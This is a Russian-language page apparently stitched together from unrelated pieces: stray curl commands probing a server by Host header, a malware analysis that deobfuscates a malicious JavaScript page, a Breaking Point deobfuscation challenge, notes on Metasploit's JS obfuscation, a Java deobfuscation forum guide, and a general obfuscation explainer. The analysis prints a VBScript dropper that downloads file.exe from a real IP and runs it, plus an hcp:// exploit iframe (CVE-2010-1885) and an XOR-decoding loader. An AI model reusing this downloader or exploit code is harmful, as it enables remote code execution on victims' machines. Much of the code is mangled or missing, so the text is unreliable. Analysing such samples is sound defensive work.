Как обойти обфускацию кода

view-source:

curl -v 173.249.15.230 -H 'Host: АДРЕС_САЙТА'

curl -v 173.249.15.230 -H 'Host: macwinsofts.com'

curl -v https://173.249.15.230 -H 'Host: macwinsofts.com'

curl -v 173.249.15.230/wp-content/uploads/2018/10/ReiBoot-Crack-Mw.png -H 'Host: fake.com'

curl -v 173.249.15.230/wp-content/uploads/2018/10/ReiBoot-Crack-Mw.png -H 'Host: macwinsofts.com'

curl -v 173.249.15.230/.htaccess -H 'Host: macwinsofts.com'

curl -v 173.249.15.230/wp-content/uploads/2018/10/ReiBoot-Crack-Mw.png -H 'Host: ya.com'

.

Отсюда мы и начнем.

Ранее упомянутые приемы будет проще понять с помощью иллюстрирующих их фрагментов рассматриваемого кода:

Прием 1: достаточно просто взглянуть на код – и его применение станет очевидным 🙂

Прием 2: trycatch(qwgw)

Разбиение кода на строки сделает его более читаемым. Я также добавил необходимые комментарии.

try
<
Math.lol(); /* lol() is an invalid library undefined in Math Class */
>
catch(qwgw) /* The code above throws an exception which triggers the code in catch()
block */
<
fr=»f»+»r»+»o»+»m»+»C»; /*
Basic String Concatenation, «fromC» is the result
>

Как и в случае с большинством обфусцированных JS-скриптов, один прием применяется несколько раз. Так что, мы вычистим оставшийся код, следуя тем же путем.

Сделаем его более читаемым:

try
<
Boolean(false)[p].google; /* invalid code, throws an exception which triggers code in catch()
block */
>
catch(vb)
<
e=zz[‘e’+’v’+’al’]; /* Basic String Concatenation */
fr+=(fr)?»ha»+»rCode»:»»;
ch+=(fr)?»odeAt»:»»;
r=»replace»;
>
fr+=(fr)?»ha»+»rCode»:»»;

Поскольку fr уже было присвоено значение «fromC», условие в тернарной операции эквивалентно true. Значит, результатом данной операции будет то, что предшествует символу двоеточия («:»).

fr = fr + «ha» + «rCode»
fr = «fromCharCode»

На самом деле данный код сокращается, учитывая вышеописанный прием, до следующего:

Это выражение вернет массив всех элементов div, присутствующих на HTML-странице. Коллекция тегов хранится в переменной dd.

В нашем случае на веб-странице присутствует лишь один тег .

Так что, dd[«length»] = 1

Цикл for сокращается до

Этот цикл проходит только одну итерацию.

dd[0][«innerHTML][«substr»](3) удалит первые три символа из HTML-кода, находящегося между тегами . Первые три символа имеют значение «$$$».

Это свидетельствует о том, что наш код состоит из корректного кода перемежающегося строками некорректных символов HTML. На этапе декодирования он от этих строк избавляется.

В конце данного цикла весь обфусцированный код с вырезанными первыми тремя символами хранится в строковой переменной z.

Применение данного приема является причиной, по которой онлайновые JS-распаковщики не могут деобфусцировать код.

Мы проанализируем цикл FOR, используемый для декодирования обфусцированного содержимого тега .

Это сокращается до

После прочтения кода цикла FOR становится очевидным, что он декодирует обфусцированное содержимое путем манипуляции с ASCII-кодами.

Вот в какой последовательности происходит декодирование:

1. Запускается цикл FOR по всей длине содержимого между тегами .
2. За итерацию обрабатывается один символ
3. Вычисляется ASCII-код символа
4. Если код имеет значение между 36 и 61 (не включая), то к нему добавляется 25, а символ, соответствующий результирующему коду, сохраняется в переменной
5. Иначе, если код имеет значение между 61 и 86 (не включая), то из него вычитается 25, а символ, соответствующий результирующему коду, сохраняется в переменной
6. Данный символ конкатенируется с результатом предыдущей итерации, и осуществляется переход к следующему символу, пока все содержимое не будет обработано
7. Последний шаг цикла состоит в вызове функции eval() для запуска результата декодирования

Теперь, когда мы понимаем, что делает данный цикл FOR, мы можем продолжить декодирование. Однако, учитывая размер обфусцированного кода, делать это вручную будет неэффективно.

Вместо этого я создам новый HTML-документ, используя только нужный код из исходной вредоносной веб-страницы.

Нашей целью здесь будет увидеть, во что декодируется обфусцированный кусок кода.

Вот код новой страницы:

Сохраните его как HTML-страницу и откройте ее в браузере. Деобфусцированный код будет показан во всплывающем окне.

Скопируйте и вставьте содержимое этого окна в другой файл не в HTML-формате.

Тут мы сталкиваемся с еще одним слоем обфускации. Чтобы снять и его, могут быть применены изученные ранее приемы.

Однако, нам опять нужно рассмотреть весь код целиком.

Использование разных типов кодирования:

Вот некоторые примеры: h, №, %u003f.

Мы можем заменить эти последовательности, преобразовав в соответствующие символы юникода, но сделаем это позднее.

CreateObject(@MSXML2.XMLHTTP@)>>№TEMP№>
go.gPs
echo Set xml ! Nothing >>№TEMP№

Множество специальных символов вроде «@», «>», «!» располагаются особым образом, однако значение их неясно.

Если мы продолжим отслеживать код до конца, то найдем набор используемых функций замены (replace).

В целом обфусцированный код содержит цепочку функций замены, добавленных в конец, как показано ниже:

Давайте вычислим данные выражения одно за другим:

• replace(/!/g, String.fromCharCode(61)) -> replace «!» with «=»
• replace(/@/g, String.fromCharCode(34)) -> replace «@» with «»»
• replace(/]/g, String.fromCharCode(38)) -> replace «]» with «&»
• replace(/ replace »
• replace(/JOPA/g, String.fromCharCode(72,84,84,80,46,83,101,110,100)) -> replace «JOPA» with «HTTP.Send»
• replace(/gPs/g, String.fromCharCode(118,98,115)) -> replace «gPs» with «vbs»
• replace(/>/g, String.fromCharCode(92)) -> replace «>» with «\»
• replace(/№/g, String.fromCharCode(37)) -> replace «№» with «%»

Теперь должно быть ясно, почему я не заменил «№» на соответствующий символ на шаге 1: это дало бы нам другой результат.

Применив означенные выше функции ко всему обфусцированному коду, мы получим:

После непродолжительного исследования можно заключить, что данная последовательность действий записывается командой echo в VBScript-файл, располагающийся в %TEMP%\go.vbs с помощью оператора перенаправления («>>»)

Для большей ясности мы можем переписать содержимое go.vbs в таком виде:

FileName = «%TEMP%/file.exe
url=»http://69.194.192.229/q.php?f=7245d&e=5″
Set objHTTP = CreateObject(«MSXML2.XMLHTTP»)
Call objHTTP.Open(«GET», url, False)
objHTTP.Send
set oStream = createobject(«Adodb.Stream»)
Const adTypeBinary = 1
Const adSaveCreateOverWrite = 2
Const adSaveCreateNotExist = 1
oStream.type = adTypeBinary
oStream.open
oStream.write objHTTP.responseBody
oStream.savetofile FileName, adSaveCreateNotExist
oStream.close
set oStream = nothing
Set xml = Nothing
Set WshShell = CreateObject(«WScript.Shell»)
WshShell.Run FileName, 0, True
Set FSO = CreateObject(«Scripting.FileSystemObject»)
FSO.DeleteFile

Данный VBScript запускается командой

следующей за созданием vbs файла в конце скрипта

Что именно приводит к запуску нашего кода?

var iframe=’ src=»hcp://services/search?
query=anything&topic=hcp://system/sysinfo/sysinfomain.htm%A%%A%%A
%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
A%%A%%A%%A
%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
A%%A%%A%%A
%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
A%%A%%A%%A
%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%A%%
A%%A%%A%%A
%%A%%A%%A%%A%%A%%A%%A%%A..%5C..%5Csysinfomain.htm?svr= defer>

В Центре справки и поддержки Windows (Microsoft Windows Help Centre, helpctr) существует уязвимость, связанная с тем, как выполняется URL-нормализация. Эксплуатируется зарегистрированный обработчик протокола hcp://.

Это позволяет выполнить код, в нашем случае – VBScript.

Более подробно о данной уязвимости можно прочитать здесь:

CVE для данного эксплоита: CVE-2010-1885

Что делает рассмотренный VBScript?

Он загружает содержимое с URL http://69.194.192.229/q.php?f=7245d&e=5, записывает его в file.exe во временной папке системы и запускает его с помощью WshShell.

Так мы смогли увидеть, насколько хорошо обфусцированный JavaScript может скрывать настоящий функционал.

Задача по деобфускации JS от Breaking Point

Теперь, когда мы познакомились со сложно обфусцированным JavaScript, давайте взглянем на еще один, который использует несколько новых приемов.

На этот раз я возьму обфусцированный JavaScript, который давался на соревновании по деобфускации, устроенному компанией Breaking Point Systems в сентябре 2011 года.

Он использует несколько приемов. Код выглядит так:

Выше показан фрагмент обфусцированного кода. Вы можете скачать полный код здесь: http://www.breakingpointsystems.com/default/assets/File/blogresources/JavaScript-obfuscationcode.txt

Снова я перечислю используемые здесь приемы:

Строки представляются интерпретируются как числа в системе счисления с основанием 32 (далее – radix-32).

Побитовый сдвиг влево эквивалентен умножению числа на 2 в степени, равной количеству левых сдвигов.

В JavaScript функция toString() используется для преобразования числа в строку. Когда данной функции передается аргумент 32, она преобразует число из десятичной (с основанием 10) системы в radix-32.

Это можно понять на примере.

720094129 – десятичное число (с основанием 10).
16

Нам нужно вычислить эквивалент числа 720094129 (записанного в десятичной системе) в radix-32.

Для перевода из одной системы счисления в другую можно использовать этот сайт:

Число 720094129 в radix-32 эквивалентно строке «length»

720094129..toString(32)+»»= length + «» = length

Представление чисел через операции над строками.

Умный прием был использован для представления чисел, особенно маленьких (0-9) в виде выражений, оперирующих со строками.

1 можно представить как длину строки, состоящей из единственного символа.

Однако из предыдущего анализа мы знаем, что строка «length» может быть также записана в виде 720094129..toString(32)+»»

так что ‘C'[720094129..toString(32)+»»] = 1

В данном JavaScript вычисляется несколько выражений «if». Давайте возьмем одно для примера и расширим примененный к нему подход на все остальные.

Так, вышеописанное выражение «if» сокращается до:

Это подводит нас к следующему шагу обфускации.

Строка представляется в виде кодов символов.

Коды символов представлены в различных форматах: десятичном (dec), восьмеричном (oct) и шестнадцатеричном (hex).

Данная функция JavaScript вернет символ, соответствующий ASCII-коду x.

Здесь важно отметить, что числу ‘x’, являющемуся аргументом данной функции, следует быть записанным в десятичном формате. Ему не следует быть ни восьмеричным, ни шестнадцатеричным. Если оно в записано в другой системе, оно неявно преобразуется JS-интерпретатором в десятичную систему.

Если мы посмотрим на рассмотренный выше образец условного выражения, мы увидим некоторые числа, записанные в восьмеричном формате (начинаются с 0).

Во время соревнования я написал короткий скрипт на Перл, который бы автоматически разбирал список разделенных запятой чисел в различных форматах и конвертировал бы их в десятичный формат.

Он оказался очень полезным и сэкономил кучу времени, как вы позднее увидите, когда мы подойдем к этапу декодирования с помощью XOR.

Например, в обфусцированном JavaScript присутствовало такое условное выражение:

if(uUHIjMJVFJET.indexOf(String.fromCharCode(0157,112,0145,114,97)) != —
‘Z'[720094129..toString(16 <<1)+""])
<
return String.fromCharCode
(0x6d,0x61,0x54,0150,76,0114,0132,113,0×50,0155,114,0x72,0x46,0x53);
>

if(uUHIjMJVFJET.indexOf(String.fromCharCode(0157,112,0145,114,97)) != -1)
<
return String.fromCharCode
(0x6d,0x61,0x54,0150,76,0114,0132,113,0×50,0155,114,0x72,0x46,0x53);
>

Теперь нам нужно упростить аргумент String.fromCharCode.

Вы можете использовать данный сайт, чтобы преобразовать String.fromCharCode из строки чисел в символы:

Если вы введете 0157,112,0145,114,97 в поле ввода на данном сайте, вы получите на выходе непонятный набор символов:

Аналогично, попробуйте ввести 0x6d,0x61,0x54,0150,76,0114,0132,113,0×50,0155,114,0x72,0x46,0x53 и посмотрите на результат.

Это происходит по причине, которую я упомянул выше. Эти значения должны быть записаны в десятичном виде, а не в восьмеричном или шестнадцатеричном. В обфусцированный javascript была включена смесь из десятичных, восьмеричных и шестнадцатеричных чисел, чтобы обмануть исследователя.

Здесь и пригождается Перл-скрипт, позволяя сэкономить нам время.

0157,112,0145,114,97 = 111,112,101,114,97 = opera
0x6d,0x61,0x54,0150,76,0114,0132,113,0×50,0155,114,0x72,0x46,0x53 =
109,97,84,104,76,76,90,113,80,109,114,114,70,83 = maThLLZqPmrrFS

Замечание: если вы не хотите использовать Перл-скрипт для выполнения преобразования кодов символов, вы можете использовать JS-интерпретатор веб-консоли, чтобы получить требуемые значения.

Теперь наше условное выражение сокращается до:

if(uUHIjMJVFJET.indexOf(opera) != -1)
<
return maThLLZqPmrrFS;
>

Важно понять эту часть часть кода. Переменная uUHIjMJVFJET будет хранить значение user-agent (в нижнем регистре) браузера жертвы. Мы проверяем, использует ли жертва браузер Opera. Если жертва использует данный браузер, то мы возвращаем случайную предварительно сгенерированную парольную фразу, «maThLLZqPmrrFS».

Эта парольная фраза будет использована для декодирования закодированной XOR-ом полезной нагрузки, которую мы увидим позже.

В коде встречаются несколько операторов if, которые проверяют соответствие user-agent различным типам браузеров и, в зависимости от результата проверки, возвращают соответствующую парольную фразу.

Операция сложения заменяется специальными символами.

Если вы предварите число N символом ‘~’, то получите значение, равное -(N+1)

Поэтому добавление 1 к N эквивалентно дописыванию -~ перед N.

Если вы хотите добавить к значению переменной 3, нужно предварить ее троекратной комбинацией -~.

Рассмотрим, например, такое выражение «if»:

Сначала мы выполним перевод десятичных чисел в radix-32, чтобы получить соответствующие строки.

Сосредоточимся на этом фрагменте:

‘zgBq'[length] = 4
-~-~’zgBq'[length] = 4+2 = 6
-~-~-~’tlk'[length] = 3+3 = 6

Зная данные соотношения, мы можем сократить показанное выше условное выражение до:

После подстановки значений переменных получим:

В коде многократно встречалась конструкция вида (function () < return x >)(). Надеюсь, для вас очевидно, что она всего лишь возвращает значение x.

Так что, данное выражение уменьшается до:

if(uUHIjMJVFJET.indexOf(chrome)) != -1)
<
return aFaQW;
>

Данный блок кода снова выглядит похожим на рассмотренное ранее «if»-выражение. Он возвращает случайную парольную фразу, если жертва использует браузер Chrome.

Теперь, когда я рассмотрел приемы, использованные в данном обфусцированном JavaScript, мы можем видеть результат их применения. Мы можем деобфусцировать значительную часть кода. Вот что мы получим (я также добавил необходимые комментарии):

function wprcm()
<
var uUHIjMJVFJET = navigator.userAgent.toLowerCase(); /* retrieves the Browser’s User
Agent and
converts it to lowercase. */
if(uUHIjMJVFJET.indexOf(opera) != -1) /* is the browser Opera? */
<
return maThLLZqPmrrFS; // the Random passphrase which is returned depending on the
Browser Type
>
if(uUHIjMJVFJET.indexOf(firefox) != -1) /* is the browser Firefox? */
<
return (loMAYcXfkUsG);
>
if(uUHIjMJVFJET.indexOf(chrome) != -1) /* is the browser Chrome? */
<
return (aFaQW);
>
if(uUHIjMJVFJET.indexOf(safari) != -1) /* is the browser Safari? */
<
return (MjLMl);
>
if(uUHIjMJVFJET.indexOf(msie) != -1) /* is the browser Microsoft Internet Explorer */
<
return (nUHCmZfyQBLAg);
>
if(uUHIjMJVFJET.indexOf(netscape)) != -1) /* is the browser Netscape? */
<
return (IrNFOz);
>
if(uUHIjMJVFJET.indexOf(mozilla/5.0) != -1) /* Is the browser Mozilla? */
<
return VjtxHZHGKWT;
>
return HEeeeYBsTMItYY; /* If none of the above User Agents were detected then return this
value */
>
function pjSkrbvs(FSzQjtHkbuMDLW, pOtdvHbBav)
<
var UMa = [];
var VfoamYteBIveYp = «»;
while(pOtdvHbBav.length < FSzQjtHkbuMDLW.length)
<
pOtdvHbBav += pOtdvHbBav;
>
for(i = 1; i <
UMa[String.fromCharCode(i)] = i; /* ASCII Table */
>
for(i = 0; i < FSzQjtHkbuMDLW.length; i++)
<
VfoamYteBIveYp += String.fromCharCode(UMa[FSzQjtHkbuMDLW.substr(i, 1)] ^
UMa[pOtdvHbBav.substr(i, 1)]); /* The XOR decoded result is stored in VfoamYteBIveYp */
>
return VfoamYteBIveYp; /* This returns the XOR decoded String to the eval function to
execute */
> eval(pjSkrbvs(unescape((String.fromCharCode(37,117,48,48,48,97. ))), wprcm()));

На основании написанного выше мы запишем логику алгоритма:

Данная функция определяет user-agent браузера жертвы. Она проверяет значение user-agent и, в зависимости от типа браузера, возвращает случайно сгенерированный пароль.

Вызов главной функции в данном обфусцированном JavaScript находится в нижней его части:

Это декодирующая функция, pjSkrbvs(FSzQjtHkbuMDLW, pOtdvHbBav)

Функция принимает на входе два аргумента.

FSzQjtHkbuMDLW: JavaScript, закодированный с помощью XOR.
pOtdvHbBav: случайная парольная фраза, которая используется для декодирования.

Сначала парольная фраза расширяется до длины закодированного JavaScript. Таблица ASCII-кодов содержится в массиве UMa, который понадобится позднее в процессе декодирования.

XOR-декодирование происходит в данном цикле FOR.

for(i = 0; i < FSzQjtHkbuMDLW.length; i++)
<
VfoamYteBIveYp += String.fromCharCode(UMa[FSzQjtHkbuMDLW.substr(i, 1)] ^
UMa[pOtdvHbBav.substr(i, 1)]); /* The XOR decoded result is stored in VfoamYteBIveYp */
>

Цикл выполняет операцию XOR между ASCII-значением каждого символа из закодированной полезной начинки JavaScript и соответствующим символом случайной парольной фразы. Результат данной операции затем преобразуется из ASCII-кода в символ с помощью функции String.fromCharCode().

В конце работы данной функции переменная VfoamYteBIveYp содержит полностью декодированный JavaScript, который передается в вызывающую функцию eval().

Я поступлю так же, как и в предыдущем разделе. Чтобы раскодировать полезную нагрузку, я использую определенные блоки исходного обфусцированного кода, которые помогут при декодировании. В данном случае я сформирую новый HTML-файл, показанный ниже:

Поскольку я использую Firefox, я взял парольную фразу «loMAYcXfkUsG», соответствующую значению user-agent для Firefox.

Как только я открою данную HTML-страницу в Firefox, я получу на выходе декодированный код. Он содержит еще один уровень обфускации.

Здесь, однако, использованы те же приемы, что и прежде, поэтому я опущу подробности.

Применив еще раз те же методы, мы получим деобфусцированный JavaScript, показанный ниже:

Данный JavaScript эксплуатирует уязвимость Remote Heap Buffer Overflow (удаленное переполнение буфера кучи) в браузере жертвы.

CVE данной уязвимости: CVE-2010-3765

Приведенный выше код передается функции eval(), которая запустит его в контексте браузера.

Обфускация JS во фреймворке Метасплоит

Фреймворк Метасплоит содержит богатую библиотеку эксплоитов. Касательно обфускации JavaScript в данном фреймворке нас будет интересовать библиотека браузерных эксплоитов.

Большинство браузерных уязвимостей эксплуатируются через JavaScript. В порядке вещей видеть JavaScript, используемый для создания распыляемой по куче полезной нагрузки, состоящей из шелл-кода и последовательности NOP-ов.

JavaScript также используется для эксплуатации уязвимости, позволяющей распылить данный шелл-код по пространству кучи.

Поскольку JS используется в качестве вектора атаки в браузерных эксплоитах, возникает необходимость обнаружения вредоносного JS-кода в веб-страницах. Такой способностью обладают антивирусные сканеры.

Тем не менее, возможности антивирусного ПО ограничены, как и возможности онлайновых JS-распаковщиков. Это было показано во втором и третьем разделе.

Мы рассмотрим поддержку обфускации JS в Метасплоит.

Сначала давайте посмотрим количество браузерных эксплоитов в последней версии фреймворка на момент написания данной статьи.

Итак, всего 162 модуля с браузерными эксплоитами, из которых 147 используют JavaScript для эксплуатации уязвимости в браузере или для манипуляции с памятью браузера.

Теперь давайте возьмем один из браузерных эксплоитов в качестве примера, чтобы понять, какие возможности по обфускации JS нам доступны.

Я рассмотрю следующий модуль: ms11_003_ie_css_import.

Он эксплуатирует уязвимость «повреждение памяти» в HTML-движке MS Internet Explorer. Эта уязвимость относится к классу «использование после освобождения», то есть, возникает, когда осуществляется доступ к ранее удаленному объекту C++. Специфическим для данного эксплоита требованием является наличие в веб-странице рекурсивных CSS-импортов.

Я покажу фрагменты модуля, относящиеся к JavaScript и то, как JavaScript используется для построения распыляемого по куче кода, а позднее обфусцируется.

Модуль эксплоита предоставляет опцию обфускации JavaScript.

В данном фрагменте JavaScript используется для манипуляции памятью IE.

#(special_sauce> относится к полезной нагрузке, сформированной скриптом.

Перед выделенным блоком мы можем видеть, что имя js_function генерируется случайно с помощью функции rand_text_alpha.

Результирующий JavaScript хранится в метке-заполнителе custom_js.

Данный фрагмент использует библиотеку ::Rex::Exploitation::ObfuscateJS.new для обфускации сформированного ранее JavaScript, если опции OBFUSCATE в модуле эксплоита было присвоено значение True.

Результирующий обфусцированный JS хранится в variable js.

Итоговая вредоносная веб-страница конструируется с помощью сформированного ранее обфусцированного JavaScript.

# -> представляет обфусцированный JavaScript

# -> представляет случайно сгенерированное имя JS-функции, присутствующей внутри #. Она вызвается в момент загрузки браузером веб-страницы с помощью события onload.

Вот какие значения имеют опции при загрузке эксплоита в консоль фреймворка, msfconsole. Я выделил опцию, отвечающую за обфускацию. По умолчанию она имеет значение true.

Заключение

После прочтения и понимания подхода, представленного в данном документе, вы, надеюсь, сможете бороться с существующими методами обфускации, использующимися во вредоносных JS, а также сможете расширять этот подход для борьбы с новыми приемами.

Гайд Гайд по деофускации кода на ЯП Java.

(НА ВСЯКИЕ НЕТОЧНОСТИ УКАЗЫВАЙТЕ, БУДУ ИСПРАВЛЯТЬ)
Гайд по деобфускации кода на ЯП Java.

При создании какого то кода кодер скорее всего не горит желанием того, что бы его код увидели посторонние люди или попробовали взломать программу. Настоящей волшебной палочкой выступают ремапперы и обфускаторы, которых развелось просто огромное количество.

Для того, что бы приступить к деобфускации какого-то кода, нужно понять, что такое обфускация, и я обьясню это простыми словами.

Обфускация — изменение, запутывание кода с целью скрыть алгоритмы работы программы, её исходный код.
Соответственно деобфускация — процесс, обратный обфускации, попытка восстановления исходного кода программы из её запутанного варианта.

Под определение обфускации не попадает такой софт, как например ProGuard, которые многие кубоголовые по ошибке называют обфускатором, хотя он является ремаппером.

С водой закончили, наступило время практики.

Практическая часть.
​

Для начала нужно понять, какой же обфускатор накладывали на данный джарник, однако тут вы уже как-то сами, ведь для деобфускации и работы с байткодом НУЖНЫ ЗНАНИЯ ДЖАВЫ!

Для примера я выбрал такую пасту, как «NeKstClient 4.0», деобфускацию которого я уже выкладывал. На нём стоит обфускатор от блауберии (

Пожалуйста, авторизуйтесь для просмотра ссылки.

Лично я использую деобфускатор от наруми, но вы можете использовать любой другой, или же самописный, в этой статье я покажу пример работы с данным деобфускатором.

Список поддерживаемых им обфускаторов тут:

Для работы с ним нам нужны:

Любая иде для работы с джава кодом с поддержкой джавы 11 или младше версий.​
Пожалуйста, авторизуйтесь для просмотра ссылки.
Пожалуйста, авторизуйтесь для просмотра ссылки.

(если нет, нужно архив с кодом деобфускатора скачать и распаковать в любое удобное место)

Открываем проект в иде (в моём случае это Intellij Idea)

Переходим по пути /src/main/java/ и открываем класс Loader (стандартный его вид приведён ниже)

Закидываем нашу джарку по пути /test/

В 11 строчке меняем Arrows.jar на название джарника (в 12 пишем что угодно, это будет название джарника после деобфускации)

В моём случае обфускация от блауберии, поэтому в 14 строчке вместо

new CaesiumTransformer()

Что такое обфускация кода

Ситуация: вы написали уникальный алгоритм обработки текста, который подсказывает пользователю, как грамотно что-то написать (например, письмо клиенту или коммерческое предложение). Этот код исполняется прямо на клиенте, в виде JS-библиотеки. Вы хотите продавать доступ к этому сервису.

Проблемы:

Как только один пользователь получил доступ к этому коду, он может заглянуть в него, понять принцип действия и создать такой же сервис самостоятельно.

Если прятать код на сервер и давать пользователю только сделать запрос и получить ответ, то нужно существенно повышать стоимость сервиса: нужно ведь платить за аренду сервера. И быстродействие кода снизится.

Решение — использовать обфускацию кода. Звучит сложно, сейчас поясним.

Что такое обфускация кода

Обфускация — это когда мы берём понятный код и делаем из него непонятный, но работающий точно так же. Смысл обфускации в том, чтобы глядя на ваш код никто не разобрался, как именно он работает. Вы, кстати, тоже не разберётесь — если нужно будет что-то поправить в программе, то это нужно будет делать в исходном, а не обфусцированном коде.

Зачем это нужно

Причин для обфускации может быть несколько:

• защитить идею от копирования — как в нашем примере с текстовым редактором;
• сделать так, чтобы никто кроме вас не мог поддерживать этот код — а вы могли и получали за это деньги;
• скрыть какие-то значения или действия — например, если в программу встроена проверка пароля или бэкдор;
• защитить алгоритм от взлома — злоумышленник может проанализировать код программы, выяснить, какая часть отвечает за лицензию, и обойти её, в итоге он будет пользоваться программой бесплатно.

В любом случае цель обфускации — скрыть логику работы исходного кода.

Как работает обфускатор

Задача обфускатора — используя возможности того же языка программирования (или машинного кода) поменять исходный код на что-то другое, но работающее точно так же. Например, в проекте про тетрис на JavaScript у нас есть такой фрагмент кода:

// поворачиваем матрицу на 90 градусов function rotate(matrix) < const N = matrix.length - 1; const result = matrix.map((row, i) =>row.map((val, j) => matrix[N - j][i]) ); // на входе матрица, и на выходе тоже отдаём матрицу return result; >

После обфускации он может выглядеть так:

function ks8s(fk93f) u5tlo2.k5hvf8((js893llq,grehg7dk)=>fk93f[plq89b-grehg7dk][gts74h2]));return q0lj34;>

Этот код делает всё то же самое — поворачивает матрицу на 90 градусов, только в нём очень сложно разобраться. Вот что мы для этого сделали:

• заменили понятные имена переменных на названия вроде k5hvf8;
• убрали все пробелы, комментарии и переносы строк;
• заменили простые конструкции типа i − 1 на —i — работает точно так же, а выглядит уже сложнее

Это самая простая обфускация кода, которая может сработать для новичков, но опытных программистов она не запутает. Чтобы сделать код сложнее, используют ещё другие приёмы.

Изменение данных. Число 16 в программе можно записать как 10000 — это 16 в двоичной системе счисления, или как 0010 в шестнадцатеричной. Можно добавить перед ним 8 нулей и получить 0000000016, потом добавить перед ним единицу, а как понадобится исходное число — убрать единицу и все нули из начала. Можно даже поменять тип данных, чтобы компьютер выделил другой диапазон памяти, но такое работает не всегда.

Дополнительные блоки кода и запутанное управление. В программу можно добавить сколько угодно дополнительных функций, которые будут ссылаться друг на друга и вызывать в разных местах тот код, который нам нужен. В итоге другой программист просто не сможет понять, в какой последовательности выполняются команды и какая вообще там логика.

Ручная и машинная обфускация

Раньше обфускацией занимались вручную или с помощью скриптов: меняли названия переменных, добавляли ложные точки вызова функций и использовали сложную работу с памятью в Ассемблере. Это отнимало много времени, но и дешифровать этот код обратно было крайне сложно.

Сейчас почти весь код меняется с помощью программ-обфускаторов. Для каждого языка есть свои программы и настройки, поэтому сейчас запутать свой код стало проще, чем раньше. С другой стороны, появились программы, которые анализируют финальный код и пытаются распутать эти сложные команды во что-то попроще — так работают дизассемблеры. Поэтому чаще всего программисты обфусцируют исходный код, компилируют его, а потом обфусцируют ещё и машинный код.

В любом случае обфускация сильно усложняет обратную разработку, но не делает её невозможной — при должном желании можно распутать почти любой код или хотя бы понять логику его работы.

Минусы обфускации

У обфускации есть два больших минуса, из-за которых большинство программистов ей не пользуются или делают это редко:

❌ Программа работает медленнее — иногда при усложнении кода одна команда заменяется на 3–5 других команд. В итоге количество команд в программе увеличивается, и компьютеру нужно больше времени, чтобы их обработать.

❌ Обфусцированный код почти невозможно править без доступа к исходному коду. Если разработчик после преобразования случайно удалит исходник программы, ему проще будет написать её заново, чем пытаться разобраться в результате.

JSFuck как обфускатор для JavaScript

Напоследок расскажем об интересном проекте — JSFuck. Ребята вдохновились тем, как устроен язык Brainfuck, в котором всего 8 команд:

Они использовали особенности работы с памятью, данными и выражениями в JavaScript, чтобы преобразовать любую команду JS в подобный код из скобок, плюсиков и восклицательных знаков. Это тоже можно использовать как обфускатор, хотя изначально у ребят была идея просто поглумиться над кодом.

Выполните этот код в консоли браузера, чтобы увидеть пасхалку, которую мы вам приготовили с помощью JSFuck:

Читаете «Код»? Зарабатывайте на коде

Сфера ИТ и разработки постоянно растёт и требует новых кадров. Компании готовы щедро платить даже начинающим разработчикам, а опытных вообще отрывают с руками. Обучиться на разработчика можно в «Яндекс Практикуме».

Получите ИТ-профессию

В «Яндекс Практикуме» можно стать разработчиком, тестировщиком, аналитиком и менеджером цифровых продуктов. Первая часть обучения всегда бесплатная, чтобы попробовать и найти то, что вам по душе. Дальше — программы трудоустройства.

Похожие публикации:

1. Vladimir nego yandex ru кто владелец почты
2. Как в vlc добавить звуковую дорожку
3. Как найти направляющий вектор прямой
4. Что такое топология в блендер